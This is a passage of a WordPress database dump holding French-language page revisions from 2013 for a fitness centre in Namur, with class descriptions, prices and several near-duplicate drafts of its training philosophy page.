50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:29:04', '2013-07-04 16:29:04', '', 11, 'http://www.crosstrainingcenter.be/?p=284', 0, 'revision', '', 0),
(104, 1, '2013-06-16 13:47:09', '2013-06-16 13:47:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:47:09', '2013-06-16 13:47:09', '', 5, 'http://www.crosstrainingcenter.be/?p=104', 0, 'revision', '', 0),
(77, 1, '2013-06-16 10:26:16', '2013-06-16 10:26:16', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:26:16', '2013-06-16 10:26:16', '', 5, 'http://www.crosstrainingcenter.be/?p=77', 0, 'revision', '', 0),
(79, 1, '2013-06-16 12:22:37', '2013-06-16 12:22:37', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:22:37', '2013-06-16 12:22:37', '', 5, 'http://www.crosstrainingcenter.be/?p=79', 0, 'revision', '', 0),
(80, 1, '2013-06-16 12:48:30', '2013-06-16 12:48:30', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:48:30', '2013-06-16 12:48:30', '', 5, 'http://www.crosstrainingcenter.be/?p=80', 0, 'revision', '', 0),
(81, 1, '2013-06-16 12:49:14', '2013-06-16 12:49:14', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:49:14', '2013-06-16 12:49:14', '', 5, 'http://www.crosstrainingcenter.be/?p=81', 0, 'revision', '', 0),
(82, 1, '2013-06-16 12:50:14', '2013-06-16 12:50:14', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:50:14', '2013-06-16 12:50:14', '', 5, 'http://www.crosstrainingcenter.be/?p=82', 0, 'revision', '', 0),
(83, 1, '2013-06-16 12:52:57', '2013-06-16 12:52:57', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:52:57', '2013-06-16 12:52:57', '', 5, 'http://www.crosstrainingcenter.be/?p=83', 0, 'revision', '', 0),
(84, 1, '2013-06-16 12:56:03', '2013-06-16 12:56:03', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:56:03', '2013-06-16 12:56:03', '', 5, 'http://www.crosstrainingcenter.be/?p=84', 0, 'revision', '', 0),
(85, 1, '2013-06-16 12:57:28', '2013-06-16 12:57:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:28', '2013-06-16 12:57:28', '', 5, 'http://www.crosstrainingcenter.be/?p=85', 0, 'revision', '', 0),
(86, 1, '2013-06-16 12:57:39', '2013-06-16 12:57:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', 